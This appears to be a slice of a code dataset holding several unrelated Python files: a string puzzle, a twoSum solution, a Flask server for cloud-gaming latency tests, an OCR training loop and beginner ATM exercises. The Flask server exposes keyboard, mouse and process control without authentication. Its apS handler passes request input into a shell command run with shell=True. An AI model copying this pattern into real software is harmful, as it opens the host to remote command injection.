tonase\n","repo_name":"muchlist/AirKapalApi","sub_path":"dao/dd_tonase_query.py","file_name":"dd_tonase_query.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"25994364842","text":"dp={999999999:'not possible'}\ndef reduction(s,n,r='0',f=0):\n ind=0\n for j in range(1,length+1): \n s2=s[:j]\n s3=s[j:]\n \n if len(s3)<1 :\n s1=s2[0]\n for i in range(1,len(s2)):\n s1+='+'+s2[i]\n else:\n s1=s2+'+'+s3\n s1=r+'+'+s1\n #print(s1)\n if eval(s1)==n: \n #print(s1.count('+'))\n f=1\n dp[s1.count('+')]=s1\n break \n elif eval(s1)>n and len(s3)>1 and f==0:\n reduction(s3,n,r+'+'+s2)\ns=input()\nn=int(input())\nlength=len(s)\n\nif int(s)==n:\n print(0)\nelif int(s) List[int]:\n seen = {}\n for index, num in enumerate(nums):\n dif = target - num\n if dif in seen:\n return [index, seen[dif]]\n else:\n seen[num] = index","repo_name":"lucas-montes/Exercises","sub_path":"leetcode/ArraysAndHashing/twoSum.py","file_name":"twoSum.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"33089896060","text":"from flask import Flask, json, request\r\nfrom flask_restful import Api, Resource, reqparse\r\nimport time\r\n\r\nimport keyboard\r\nimport mouse\r\nimport time\r\nimport os\r\nimport json\r\nfrom utils import *\r\nfrom pynput.mouse import Button, Controller\r\n\r\nimport subprocess\r\nimport multiprocessing\r\nimport threading\r\n\r\nfrom imageCapture import *\r\nfrom calibration import *\r\n\r\nif __name__=='__main__':\r\n app = Flask(__name__)\r\n api = Api(app)\r\n\r\n\r\n\r\n def moveTimestamps(nMovements):\r\n print(\"recording\")\r\n return getFromConsole(\"python recordTimeMove.py \"+str(nMovements))\r\n\r\n class action(Resource):\r\n def post(self,name):\r\n print(name)\r\n if (name == \"keyboard\"):\r\n jD = True\r\n try:\r\n json_data = request.get_json(force=True)\r\n print(json_data)\r\n except:\r\n print(\"No JSON data\")\r\n json_data = dict()\r\n jD = False\r\n\r\n for a in json_data[0]['action']:\r\n keyboard.send(a)\r\n time.sleep(1)\r\n #keyboard.send(json_data[0]['action'])\r\n elif (name == \"mouse\"):\r\n try:\r\n json_data = request.get_json(force=True)\r\n print(json_data)\r\n for a in json_data:\r\n try:\r\n mouse.move(a['pos']['x'], a['pos']['y'],absolute = True)\r\n except:\r\n print(\"Msg doesn't match with the pattern\")\r\n return {'Error info': \"Msg doesn't contain position field\"}, 300\r\n \r\n time.sleep(0.5)\r\n try:\r\n if (a['action'] == \"click\"):\r\n mouse.click()\r\n elif (a['action'] == \"rightClick\"):\r\n mouse.right_click()\r\n elif (a['action'] == \"dobleClick\"):\r\n mouse.double_click()\r\n except:\r\n print(\"Msg doesn't containt action field\")\r\n return {\"Error info\": \"Msg doesn't containt action field\"}, 300\r\n \r\n pos = a\r\n except: \r\n print(\"No JSON data\")\r\n json_data = dict()\r\n jD = False\r\n return 300\r\n\r\n\r\n elif (name == \"launchGameClient\"):\r\n if (not isProcessRunning(\"LeagueClient\")):\r\n #if True:\r\n os.startfile(\"C:/Riot Games/League of Legends/LeagueClient.exe\")\r\n time.sleep(1)\r\n\r\n return 200\r\n elif (name == \"configureClient\"):\r\n try:\r\n json_data = request.get_json(force=True)\r\n print(json_data)\r\n except:\r\n\r\n json_data = {'type':'trainingTool'}\r\n\r\n if (not isProcessRunning(\"LeagueClient\")):\r\n os.startfile(\"C:/Riot Games/League of Legends/LeagueClient.exe\")\r\n time.sleep(15)\r\n\r\n if (not isProcessRunning('League of Legends')):\r\n c = getFromConsole(\"python serverConfigureGame.py \" + json_data['type'])\r\n\r\n return 200\r\n elif (name == \"endProcess\"):\r\n try:\r\n json_data = request.get_json(force=True)\r\n print(json_data)\r\n killProcess(json_data['process'])\r\n return 200\r\n except:\r\n return 500\r\n elif (name == \"endLoL\"):\r\n c = getFromConsole(\"python closeLolGame.py\")\r\n\r\n return 200\r\n\r\n\r\n class info(Resource):\r\n def get(self):\r\n return 200\r\n\r\n def post(self):\r\n jD = True\r\n try:\r\n json_data = request.get_json(force=True)\r\n print(json_data)\r\n except:\r\n print(\"No JSON data\")\r\n json_data = dict()\r\n jD = False\r\n return 500\r\n\r\n try:\r\n pr = json_data['process']\r\n\r\n data = dict()\r\n for p in pr:\r\n r = getProcess(p).to_dict('records')\r\n data[p] = r\r\n return data,200\r\n except:\r\n return 500\r\n\r\n class frame(Resource):\r\n\r\n def hostClicks(self,data,filename,queue = None):\r\n time.sleep(2)\r\n mouse.move(935, 490, absolute=True)\r\n time.sleep(0.5)\r\n mouse.click()\r\n time.sleep(1)\r\n mouseClicks = []\r\n for x in data:\r\n #Get time between actions\r\n if (\"dMove\" in x):\r\n dMove = x['dMove']\r\n else: # If this time is not given in the data, it is taken 1 sec\r\n dMove = 1\r\n print(\"deltaMove:\",dMove)\r\n #Get repetitions\r\n if (\"repetitions\" in x):\r\n rep = x['repetitions']\r\n else: # If is not set, it is set to 1\r\n rep = 1\r\n\r\n for m in range(0,rep):\r\n for action in x['actions']:\r\n print(action)\r\n mouse.move(action['x'],action['y'],absolute=True)\r\n\r\n mouse.right_click()\r\n mouseClicks.append(time.time())\r\n print(\"Mouse move\")\r\n time.sleep(dMove)\r\n\r\n try:\r\n print(\"Mouse clicks:\", mouseClicks)\r\n np.save(filename +'_mouse',np.asarray(mouseClicks))\r\n except:\r\n print(\"Error saving mouse clicks\")\r\n \r\n finally:\r\n if (queue != None):\r\n queue.put(np.asarray(mouseClicks))\r\n return np.asarray(mouseClicks)\r\n\r\n \r\n def latencyFormatting(self,prefix, data):\r\n prefix = prefix + \"_\"\r\n hLatency = getSummaryLatency(data)\r\n latencyResults = dict()\r\n # Change of values to ms\r\n latencyResults[prefix + 'latencyAvg'] = hLatency['avg'] * 1000\r\n latencyResults[prefix + 'latencyMax'] = hLatency['max'] * 1000\r\n latencyResults[prefix + 'latencyMin'] = hLatency['min'] * 1000\r\n latencyResults[prefix + 'latency25Percent'] = hLatency['percent25']*1000\r\n latencyResults[prefix + 'latency50Percent'] = hLatency['percent50']*1000\r\n latencyResults[prefix + 'latency75Percent'] = hLatency['percent75']*1000\r\n latencyResults[prefix + 'latency'] = (data*1000).tolist()\r\n return latencyResults\r\n\r\n def hostMeasurement(self,nClicks):\r\n c = calibration()\r\n #clicks = c.clickDetection(nClicks)\r\n q = multiprocessing.Queue()\r\n qC = multiprocessing.Queue()\r\n filename = \"hostMeas\"\r\n cT = threading.Thread(target=c.clickDetection, args= (nClicks, qC))\r\n record = threading.Thread(target=gettingFramesThread2,args=(cT,filename,))\r\n ping = threading.Thread(target = pingTest, args = (\"185.40.67.150\",\"PING_HOST_TO_RIOT\",80,10,q,))\r\n #ping = threading.Thread(target = pingTest(\"185.40.67.150\",\"PING_HOST_TO_RIOT\",80,10,q,))\r\n cT.start()\r\n ping.start()\r\n record.start()\r\n\r\n cT.join()\r\n record.join()\r\n \r\n\r\n img = np.load(filename+\"_images.npy\")\r\n imgt = np.load(filename + \"_timestamp.npy\")\r\n\r\n mouse = qC.get()\r\n # print(\"Mouse:\")\r\n # print(mouse)\r\n print(\"Calculating host responsivity\")\r\n \r\n \r\n #ping.start()\r\n (cLD, efps,monitorFPS) = getResponsivity4(mouse,img, imgt)\r\n\r\n\r\n try:\r\n os.remove(filename+\"_images.npy\")\r\n os.remove(filename+\"_timestamp.npy\")\r\n\r\n except:\r\n print(\"files can't be deleted\")\r\n \r\n res = dict()\r\n res = self.latencyFormatting(\"host\",cLD)\r\n #res['latency2'] = latency2.tolist()\r\n res['host_efps'] = efps\r\n res['host_monitorFPS'] = monitorFPS\r\n \r\n\r\n res['host_clickTime'] = mouse\r\n ping.join()\r\n pingV = q.get()\r\n res.update(pingV)\r\n return json.dumps(res)\r\n \r\n\r\n\r\n def checkMove(self,time):\r\n f = gettingFrames(int(time), \"moveDetection\")\r\n try:\r\n os.remove(\"moveDetection_images.npy\")\r\n os.remove(\"moveDetection_timestamp.npy\")\r\n except:\r\n print(\"Files could not be deleted\")\r\n\r\n img = np.asarray(f[0])\r\n imgt = np.asarray(f[1])\r\n iRes = imgChange2(img,imgt)\r\n d = dict()\r\n if (len(iRes[0]) == 1 and iRes[0][0][0] == -1):\r\n print(\"Error in client, actions has not been executed\")\r\n d['move'] = 0\r\n else:\r\n print(\"Actions has been executed\")\r\n d['move'] = 1\r\n return d\r\n\r\n def get(self,name):\r\n if (name == \"checkMovement\"):\r\n parser = reqparse.RequestParser()\r\n parser.add_argument(\"t\")\r\n args = parser.parse_args()\r\n resp = self.checkMove(int(args.t))\r\n print(resp)\r\n return resp\r\n elif (name == \"hostMeasurement\"):\r\n parser = reqparse.RequestParser()\r\n parser.add_argument(\"nActions\")\r\n args = parser.parse_args()\r\n resp = self.hostMeasurement(int(args.nActions))\r\n return resp\r\n def post(self,name):\r\n\r\n if (name == \"host\"):\r\n jD = True \r\n try:\r\n json_data = request.get_json(force=True)\r\n print(json_data)\r\n except:\r\n print(\"No JSON data\")\r\n json_data = dict()\r\n jD = False\r\n filename=str(int(time.time()))\r\n print(filename)\r\n q = multiprocessing.Queue()\r\n q2 = multiprocessing.Queue()\r\n t = threading.Thread(target=self.hostClicks, args=(json_data,filename,q2,))\r\n record = threading.Thread(target=gettingFramesThread,args=(t,filename,))\r\n #ping = threading.Thread(target = pingTest, args=(\"185.40.67.150\",\"PING_RIOT_SIRIO\",80,10,q,))\r\n #ping.start()\r\n t.start()\r\n record.start()\r\n\r\n record.join()\r\n \r\n t.join()\r\n #pingV = q.get()\r\n # Load data\r\n # times = np.load(filename+\"_mouse.npy\")\r\n # img = np.load(filename+\"_images.npy\")\r\n # imgt = np.load(filename+\"_timestamp.npy\")\r\n # latency = getResponsivity(times,img,imgt)\r\n latency = np.load(filename+\"_results.npy\")\r\n #latency2 = np.load(filename + \"_results2.npy\")\r\n try:\r\n os.remove(filename+\"_images.npy\")\r\n os.remove(filename+\"_timestamp.npy\")\r\n os.remove(filename+\"_results.npy\")\r\n os.remove(filename+\"_mouse.npy\")\r\n \r\n finally:\r\n res = dict()\r\n res['latency'] = latency.tolist()\r\n #res['latency2'] = latency2.tolist()\r\n #ping.join()\r\n #pingV = q.get()\r\n #res['ping'] = pingV\r\n return json.loads(json.dumps(res))\r\n\r\n elif(name == \"client\"):\r\n parser = reqparse.RequestParser()\r\n parser.add_argument(\"t\")\r\n args = parser.parse_args()\r\n\r\n print(args.t)\r\n \r\n elif(name == \"info\"):\r\n d = dict()\r\n d['monitor'] = list(monitorInfo())\r\n print(d['monitor'])\r\n return d\r\n\r\n class latency(Resource):\r\n def moveTimestamps(self,nMovements):\r\n print(\"recording\")\r\n return getFromConsole(\"python recordTimeMove.py \"+str(nMovements))\r\n def get(self,name):\r\n print(\"hoal\")\r\n return 200\r\n def post(self,name):\r\n q = multiprocessing.Queue()\r\n print(\"asdf\")\r\n d.start()\r\n\r\n #print(moveTimestamps(2))\r\n print(\"Processed\")\r\n return 200\r\n\r\n\r\n class crowdcell(Resource):\r\n def post(self,name):\r\n parser = reqparse.RequestParser()\r\n if(name == \"configuration\"):\r\n\r\n parser.add_argument(\"parameter\")\r\n parser.add_argument(\"value\")\r\n\r\n args = parser.parse_args()\r\n print(args)\r\n c.setParameter(args.parameter, args.value)\r\n\r\n r = c.getParameter(args.parameter)\r\n print(r)\r\n return r\r\n elif(name == \"action\"):\r\n parser.add_argument(\"t\")\r\n args = parser.parse_args()\r\n\r\n if (args.t == \"reboot\"):\r\n print(\"Rebooting crowdcell...\")\r\n c.restart()\r\n print(\"end\")\r\n return 200\r\n\r\n\r\n\r\n class apS (Resource):\r\n def post(self, module,msg):\r\n jD = True\r\n try:\r\n json_data = request.get_json(force=True)\r\n print(json_data)\r\n except:\r\n print(\"No JSON data\")\r\n json_data = dict()\r\n jD = False\r\n print(msg)\r\n\r\n if (module == \"mme\"):\r\n server = \"127.0.0.1:9000\"\r\n elif (module == \"enb\"):\r\n server = \"127.0.0.1:9001\"\r\n\r\n #at = \"\\'{\\\"message\\\": \\\"config_get\\\"}\\'\"\r\n json_data['message'] = msg\r\n at = json.dumps(json_data)\r\n\r\n print(at)\r\n com = \"./ws.js \" + server + \" \" + \"\\'\" + at + \"\\'\"\r\n print(com)\r\n res = subprocess.Popen(com, shell = True, stdout = subprocess.PIPE).stdout\r\n rest = res.read()\r\n rest = rest.decode()\r\n msg = rest[rest.find(\"{\"):]\r\n print (msg)\r\n js = json.loads(msg)\r\n\r\n return js\r\n api.add_resource(frame, \"/frame/\")\r\n api.add_resource(action, \"/action/\")\r\n api.add_resource(info,'/info')\r\n #app.run(host='192.168.0.57', port = 5000)\r\n #app.run(host=\"192.168.0.101\", port = 5000)\r\n #app.run(host=\"192.168.192.201\", port = 5000)\r\n #app.run(host=\"192.168.8.105\", port = 5000)\r\n app.run(host=\"0.0.0.0\", port = 5000)","repo_name":"jcbaglez/ServiceKQIExtraction","sub_path":"Services/CloudGaming/HOST/REST.py","file_name":"REST.py","file_ext":"py","file_size_in_byte":15261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7415427921","text":"import datetime\nimport torch\nimport argparse\nimport os\nimport math\nimport random\nfrom torch.nn import CTCLoss, MSELoss\nimport torch.optim as optim\n\nimport torchvision.transforms as transforms\n\nfrom models.model_crnn import CRNN\nfrom models.model_unet import UNet\nfrom datasets.img_dataset import ImgDataset\nfrom utils import get_char_maps, set_bn_eval, pred_to_string, save_all_jsons\nfrom utils import get_ocr_helper, compare_labels, save_img, create_dirs, set_random_seeds\nfrom transform_helper import PadWhite, AddGaussianNoice\nimport properties as properties\nfrom selection_utils import datasampler_factory\nfrom label_tracking import tracking_methods, tracking_utils\nfrom tracking_utils import call_crnn, weighted_ctc_loss, generate_ctc_target_batches, add_labels_to_history\n\nimport wandb\nimport json\n\nimport pandas as pd\nimport shutil\n\n\nclass TrainNNPrep:\n def __init__(self, args):\n self.batch_size = args.batch_size\n self.lr_crnn = args.lr_crnn\n self.lr_prep = args.lr_prep\n self.max_epochs = args.epoch\n self.warmup_epochs = args.warmup_epochs # Todo: Inverstigate impact\n self.inner_limit = args.inner_limit\n \n create_dirs(self, args)\n set_random_seeds(args.random_seed)\n\n self.sec_loss_scalar = args.scalar\n self.ocr_name = args.ocr\n self.std = args.std\n self.is_random_std = args.random_std\n self.inner_limit_skip = args.inner_limit_skip\n self.train_set = os.path.join(\n args.data_base_path, properties.vgg_text_dataset_train\n )\n self.validation_set = os.path.join(\n args.data_base_path, properties.vgg_text_dataset_dev\n )\n self.start_epoch = args.start_epoch\n self.selection_method = args.minibatch_subset\n self.train_batch_size = self.batch_size\n\n self.train_batch_prop = 1\n if args.minibatch_subset_prop is not None and self.selection_method:\n self.train_batch_prop = args.minibatch_subset_prop\n self.train_subset_size = args.train_subset_size\n self.val_subset_size = args.val_subset_size\n\n self.cers = None\n self.selected_samples = dict()\n if args.cers_ocr_path:\n with open(args.cers_ocr_path, \"r\") as f:\n self.cers = json.load(f)\n\n for key in self.cers.keys():\n self.selected_samples[key] = [False] * self.max_epochs\n\n if self.selection_method:\n self.cls_sampler = datasampler_factory(self.selection_method)\n if self.selection_method in (\"topKCER\", \"rangeCER\"):\n self.sampler = self.cls_sampler(self.cers)\n else:\n self.sampler = self.cls_sampler()\n\n if self.cers:\n self.tracked_labels = {name: [] for name in self.cers.keys()}\n\n self.input_size = properties.input_size\n self.ocr = get_ocr_helper(self.ocr_name)\n\n self.char_to_index, self.index_to_char, self.vocab_size = get_char_maps(properties.char_set)\n self.device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n if self.crnn_model_path is None:\n self.crnn_model = CRNN(self.vocab_size, False).to(self.device)\n else:\n self.crnn_model = torch.load(self.crnn_model_path).to(self.device)\n self.crnn_model.register_backward_hook(self.crnn_model.backward_hook)\n\n if self.prep_model_path is None:\n self.prep_model = UNet().to(self.device)\n else:\n self.prep_model = torch.load(self.prep_model_path).to(self.device)\n\n transform = transforms.Compose(\n [\n PadWhite(self.input_size),\n transforms.ToTensor(),\n ]\n )\n\n self.window_size = args.window_size\n self.weightgen_method = args.weightgen_method\n\n WeightGenCls = tracking_methods.weightgenerator_factory(args.weightgen_method)\n self.loss_wghts_gnrtr = WeightGenCls(args, self.device, self.char_to_index)\n self.train_set = ImgDataset(\n self.train_set, transform=transform, include_name=True, include_index=True\n )\n self.validation_set = ImgDataset(\n self.validation_set, transform=transform, include_name=True\n )\n\n if not self.train_subset_size:\n self.train_subset_size = len(self.train_set)\n train_rand_indices = torch.randperm(len(self.train_set))[: self.train_subset_size]\n train_rand_sampler = torch.utils.data.SubsetRandomSampler(train_rand_indices)\n self.loader_train = torch.utils.data.DataLoader(\n self.train_set,\n batch_size=self.batch_size,\n sampler=train_rand_sampler,\n drop_last=True,\n )\n\n if not self.val_subset_size:\n self.val_subset_size = len(self.validation_set)\n val_rand_indices = torch.randperm(len(self.validation_set))[: self.val_subset_size]\n val_rnd_sampler = torch.utils.data.SubsetRandomSampler(val_rand_indices)\n self.loader_validation = torch.utils.data.DataLoader(\n self.validation_set,\n batch_size=self.batch_size,\n sampler=val_rnd_sampler,\n drop_last=True,\n )\n\n self.train_set_size = len(self.loader_train.dataset)\n self.val_set_size = len(self.loader_validation.dataset)\n self.sample_importance = torch.ones(self.train_set_size) / 10.0\n self.sample_frequency = torch.zeros((self.train_set_size, self.max_epochs, 2))\n self.model_labels_last = [\"\" for _ in range(0, self.train_subset_size)]\n\n self.primary_loss_fn = CTCLoss().to(self.device)\n self.primary_loss_fn_sample_wise = CTCLoss(reduction=\"none\").to(self.device)\n self.secondary_loss_fn = MSELoss().to(self.device)\n self.optimizer_crnn = optim.Adam(\n self.crnn_model.parameters(), lr=self.lr_crnn, weight_decay=0\n )\n self.optimizer_prep = optim.Adam(\n self.prep_model.parameters(), lr=self.lr_prep, weight_decay=0\n )\n\n self.lr_scheduler = args.lr_scheduler\n if self.lr_scheduler == \"cosine\":\n self.scheduler_crnn = optim.lr_scheduler.CosineAnnealingLR(\n self.optimizer_crnn, T_max=self.max_epochs\n )\n # self.scheduler_prep = optim.lr_scheduler.CosineAnnealingLR(self.optimizer_prep, T_max=self.max_epochs)\n\n def _call_model(self, images, labels):\n X_var = images.to(self.device)\n scores = self.crnn_model(X_var)\n out_size = torch.tensor([scores.shape[0]] * images.shape[0], dtype=torch.int)\n y_size = torch.tensor([len(l) for l in labels], dtype=torch.int)\n conc_label = \"\".join(labels)\n y = [self.char_to_index[c] for c in conc_label]\n y_var = torch.tensor(y, dtype=torch.int)\n return scores, y_var, out_size, y_size\n\n def _get_loss(self, scores, y, pred_size, y_size, img_preds):\n pri_loss = self.primary_loss_fn(scores, y, pred_size, y_size)\n sec_loss = (\n self.secondary_loss_fn(\n img_preds, torch.ones(img_preds.shape).to(self.device)\n )\n * self.sec_loss_scalar\n )\n loss = pri_loss + sec_loss\n return loss\n\n def add_noise(self, imgs, noiser, noise_coef=1):\n noisy_imgs = []\n added_noise = []\n for img in imgs:\n noisy_img, noise = noiser(img, noise_coef)\n added_noise.append(noise)\n noisy_imgs.append(noisy_img)\n return torch.stack(noisy_imgs), torch.stack(added_noise)\n\n def train(self):\n noiser = AddGaussianNoice(std=self.std, is_stochastic=self.is_random_std, return_noise=True)\n\n print(f\"Batch size is {self.batch_size}\")\n print(f\"Train batch size is {self.train_batch_size}\")\n validation_step = 0\n total_bb_calls = 0\n total_crnn_updates = 0\n best_val_acc = 0\n best_val_epoch = 0\n self.crnn_model.zero_grad() # why is this required?\n\n for epoch in range(self.start_epoch, self.max_epochs):\n epoch_bb_calls = 0\n epoch_crnn_updates = 0\n step = 0\n training_loss = 0\n epoch_print_flag = True\n\n for images, labels, names, indices in self.loader_train:\n self.crnn_model.train()\n self.prep_model.eval()\n self.prep_model.zero_grad()\n self.crnn_model.zero_grad()\n X_var = images.to(self.device)\n img_preds_all = self.prep_model(X_var)\n temp_loss = 0\n if self.selection_method and epoch >= self.warmup_epochs:\n num_bb_samples = max(\n 1,\n math.ceil(img_preds_all.shape[0] * (1 - self.train_batch_prop)),\n )\n img_preds, labels_gt, bb_sample_indices = self.sampler.query(img_preds_all, labels, num_bb_samples, names)\n\n img_preds = img_preds.detach().cpu()\n img_preds_names = [names[index] for index in bb_sample_indices]\n skipped_mask = torch.ones(indices.shape[0], dtype=bool)\n skipped_mask[bb_sample_indices] = False\n\n for name in img_preds_names:\n self.selected_samples[name][epoch] = True\n\n else:\n img_preds = img_preds_all.detach().cpu()\n img_preds_names = names\n skipped_mask = torch.zeros(img_preds.shape[0], dtype=bool)\n\n if epoch_print_flag:\n print(f\"Total Samples - {img_preds_all.shape[0]}\")\n print(f\"OCR Samples - {img_preds.shape[0]}\")\n epoch_print_flag = False\n\n for i in range(self.inner_limit):\n self.prep_model.zero_grad()\n if i == 0 and self.inner_limit_skip:\n ocr_labels = self.ocr.get_labels(img_preds)\n loss_weights = self.loss_wghts_gnrtr.gen_weights(self.tracked_labels, img_preds_names)\n add_labels_to_history(self, img_preds_names, ocr_labels)\n # Peek at history of OCR labels for each strip and construct weighted CTC loss\n target_batches = generate_ctc_target_batches(self, img_preds_names)\n scores, pred_size = call_crnn(self, img_preds)\n loss = weighted_ctc_loss(\n self, scores, pred_size, target_batches, loss_weights\n )\n total_bb_calls += len(ocr_labels)\n epoch_bb_calls += len(ocr_labels)\n else:\n noisy_imgs, noise = self.add_noise(img_preds, noiser)\n ocr_labels = self.ocr.get_labels(noisy_imgs)\n scores, y, pred_size, y_size = self._call_model(\n noisy_imgs, ocr_labels\n )\n loss = self.primary_loss_fn(scores, y, pred_size, y_size)\n total_bb_calls += img_preds.shape[0]\n epoch_bb_calls += img_preds.shape[0]\n\n if self.inner_limit:\n temp_loss += loss.item()\n loss.backward()\n inner_limit = max(1, self.inner_limit)\n CRNN_training_loss = temp_loss / inner_limit\n if self.inner_limit:\n self.optimizer_crnn.step()\n\n self.prep_model.train()\n self.crnn_model.train()\n self.crnn_model.apply(set_bn_eval)\n self.prep_model.zero_grad()\n self.crnn_model.zero_grad()\n\n img_preds = self.prep_model(X_var)\n scores, y, pred_size, y_size = self._call_model(img_preds, labels)\n loss = self._get_loss(scores, y, pred_size, y_size, img_preds)\n loss.backward()\n self.optimizer_prep.step()\n\n # Update last seen prediction of image\n model_gen_labels = pred_to_string(scores, labels, self.index_to_char)\n\n training_loss += loss.item()\n if step % 100 == 0:\n print(f\"Epoch: {epoch}, Iteration: {step} => {loss.item()}\")\n step += 1\n\n if self.selection_method and len(img_preds_names):\n batch_cers = list()\n for i in range(len(labels)):\n _, batch_cer = compare_labels(\n [model_gen_labels[i]], [labels[i]]\n )\n batch_cers.append(batch_cer)\n self.sampler.update_cer(batch_cers, names)\n\n train_loss = training_loss / (self.train_set_size // self.train_batch_size)\n crnn_train_loss = CRNN_training_loss / max(1, epoch_bb_calls)\n\n if self.selection_method:\n save_all_jsons(self, epoch)\n\n current_lr = self.lr_crnn\n if self.lr_scheduler:\n self.scheduler_crnn.step()\n current_lr = self.scheduler_crnn.get_lr()\n # self.scheduler_prep.step()\n\n self.prep_model.eval()\n self.crnn_model.eval()\n pred_correct_count = 0\n matching_correct_count = 0\n pred_CER = 0\n matching_cer = 0\n validation_loss = 0\n tess_accuracy = 0\n tess_CER = 0\n with torch.no_grad():\n for images, labels, names in self.loader_validation:\n X_var = images.to(self.device)\n img_preds = self.prep_model(X_var)\n scores, y, pred_size, y_size = self._call_model(img_preds, labels)\n loss = self._get_loss(scores, y, pred_size, y_size, img_preds)\n validation_loss += loss.item()\n preds = pred_to_string(scores, labels, self.index_to_char)\n ocr_labels = self.ocr.get_labels(img_preds.cpu())\n crt, cer = compare_labels(preds, labels)\n tess_crt, tess_cer = compare_labels(ocr_labels, labels)\n matching_crt, matching_cer = compare_labels(preds, ocr_labels) # Compare OCR labels and CRNN output\n matching_correct_count += matching_crt\n matching_cer += matching_cer\n pred_correct_count += crt\n tess_accuracy += tess_crt\n pred_CER += cer\n tess_CER += tess_cer\n validation_step += 1\n CRNN_accuracy = pred_correct_count / self.val_set_size\n OCR_accuracy = tess_accuracy / self.val_set_size\n CRNN_OCR_matching_acc = matching_correct_count / self.val_set_size\n CRNN_cer = pred_CER / self.val_set_size\n OCR_cer = tess_CER / self.val_set_size\n CRNN_OCR_matching_cer = matching_cer / self.val_set_size\n val_loss = validation_loss / (self.val_set_size // self.batch_size)\n\n wandb.log(\n {\n \"CRNN_accuracy\": CRNN_accuracy,\n f\"{self.ocr_name}_accuracy\": OCR_accuracy,\n \"CRNN_CER\": CRNN_cer,\n f\"{self.ocr_name}_cer\": OCR_cer,\n \"Epoch\": epoch + 1,\n \"train_loss\": train_loss,\n \"val_loss\": val_loss,\n \"Total Black-Box Calls\": total_bb_calls,\n \"Black-Box Calls\": epoch_bb_calls,\n \"Total CRNN Updates\": total_crnn_updates,\n \"CRNN Updates\": epoch_crnn_updates,\n \"CRNN_loss\": crnn_train_loss,\n \"CRNN_OCR_Matching_ACC\": CRNN_OCR_matching_acc,\n \"CRNN_OCR_Matching_CER\": CRNN_OCR_matching_cer,\n }\n )\n\n save_img(img_preds.cpu(), \"out_\" + str(epoch), self.img_out_path, 8)\n if epoch == 0:\n save_img(images.cpu(), \"out_original\", self.img_out_path, 8)\n\n print(\n \"CRNN correct count: %d; %s correct count: %d; (validation set size:%d)\"\n % (pred_correct_count, self.ocr_name, tess_accuracy, self.val_set_size)\n )\n print(\"CRNN CER:%d; %s CER: %d;\" % (pred_CER, self.ocr_name, tess_CER))\n print(\n \"Epoch: %d/%d => Training loss: %f | Validation loss: %f\"\n % (\n (epoch + 1),\n self.max_epochs,\n training_loss / (self.train_set_size // self.train_batch_size),\n validation_loss / (self.val_set_size // self.batch_size),\n )\n )\n prep_ckpt_path = os.path.join(\n self.ckpt_base_path, f\"Prep_model_{epoch}_{OCR_accuracy*100:.2f}\"\n )\n\n torch.save(self.prep_model, prep_ckpt_path)\n torch.save(\n self.crnn_model,\n os.path.join(self.ckpt_base_path, \"CRNN_model_\" + str(epoch)),\n )\n best_prep_ckpt_path = os.path.join(self.ckpt_base_path, f\"Prep_model_best\")\n\n if OCR_accuracy > best_val_acc:\n best_val_acc = OCR_accuracy\n best_val_epoch = epoch\n shutil.copyfile(prep_ckpt_path, best_prep_ckpt_path)\n wandb.save(best_prep_ckpt_path)\n summary_metrics = dict()\n summary_metrics[\"best_val_acc\"] = best_val_acc\n summary_metrics[\"best_val_epoch\"] = best_val_epoch\n wandb.run.summary.update(summary_metrics)\n \n print(\"Training Completed.\")\n return best_val_acc, best_val_epoch","repo_name":"tataganesh/Query-Efficient-Approx-to-improve-OCR","sub_path":"train_nn_area.py","file_name":"train_nn_area.py","file_ext":"py","file_size_in_byte":17905,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"41693605650","text":"# for\n\n# for i in range(10):\n# print(i)\n\n# list = [1, 2, False, True, 'hola', 'mundo']\n\n# for i in list:\n# print(i)\n\n# for i in range(2, 10):\n# print(i)\n\n# for i in range(2, 10, 2):\n# print(i)\n\n# list = []\n\n# for i in range(10):\n# list.append(i)\n\n# print(list)\n\n# list = []\n\n# for i in range(3):\n\n# list.append(int(input('Ingrese un numero: ')))\n# print(list)\n\n\n# while\n# x = 10\n\n# while x > 0:\n# print(x)\n\n# x -= 1\n\n\n# function ATM\n\n\n# x = 5\n# if x == 5:\n# print(\"Es 5\")\n# elif x == 6:\n# print(\"Es 6\")\n# elif x == 7:\n# print(\"Es 7\")\n\n# x = 4\n# if x == 5:\n# print(\"Es 5\")\n# elif x == 6:\n# print(\"Es 6\")\n# elif x == 7:\n# print(\"Es 7\")\n# else:\n# print(\"Es otro\")\n\n# Verifica si un número es par o impar\n# x = 5\n# if x % 2 == 0:\n# print(\"Es par\")\n# else:\n# print(\"Es impar\")\n\n\n# x = 5\n# while x > 0:\n# x -= 1\n# print(x)\n# else:\n# print(\"El bucle ha finalizado\")\n\n\n# -*- coding: utf -8 -*-\n# import os\n\n\n# class Cajero:\n\n# def __init__(self):\n# self.continuar = True\n# self.monto = 5000\n# self.menu()\n\n# def contraseña(self):\n# contador = 1\n# while contador <= 3:\n# x = int(input(\"ingrese su contraseña:\"))\n# if x == 5467:\n# print(\"Contraseña Correcta\")\n# break\n# else:\n# print(\n# f\"Contraseña Incorrecta, le quedan {3 - contador} intentos\")\n# if contador == 3:\n# print(\"No puede realizar operaciones.\")\n# self.continuar = False\n# contador += 1\n\n# def menu(self):\n# os.system(\"cls\") # esto es solo para windows\n# self.contraseña()\n# opcion = 0\n# while opcion != \"4\":\n# os.system(\"cls\")\n# print(\"\"\" Bienvenido al cajero automatico\n# ******Menú******\n# 1- Depositar\n# 2- Retirar\n# 3- Ver saldo\n# 4- Salir \"\"\")\n# opcion = input(\"Su opción es: \")\n# if self.continuar:\n# if opcion == \"1\":\n# self.depositar()\n# elif opcion == \"2\":\n# self.retiro()\n# elif opcion == \"3\":\n# self.ver()\n# elif opcion == \"4\":\n# print(\"Programa finalizado\")\n# else:\n# print(\"NO existe esa opción\")\n# else:\n# if opcion in \"123\":\n# print(\"Imposible realizar esa operación\")\n# elif opcion == \"4\":\n# print(\"Programa finalizado\")\n# else:\n# print(\"No existe esa opción\")\n\n# def depositar(self):\n# dep = int(input(\"Ingrese su monto a depositar:\"))\n# print(\"Usted a depositado\", dep)\n# print(f\"Su nuevo saldo es {self.monto + dep}\")\n# self.monto += dep\n\n# def retiro(self):\n# retirar 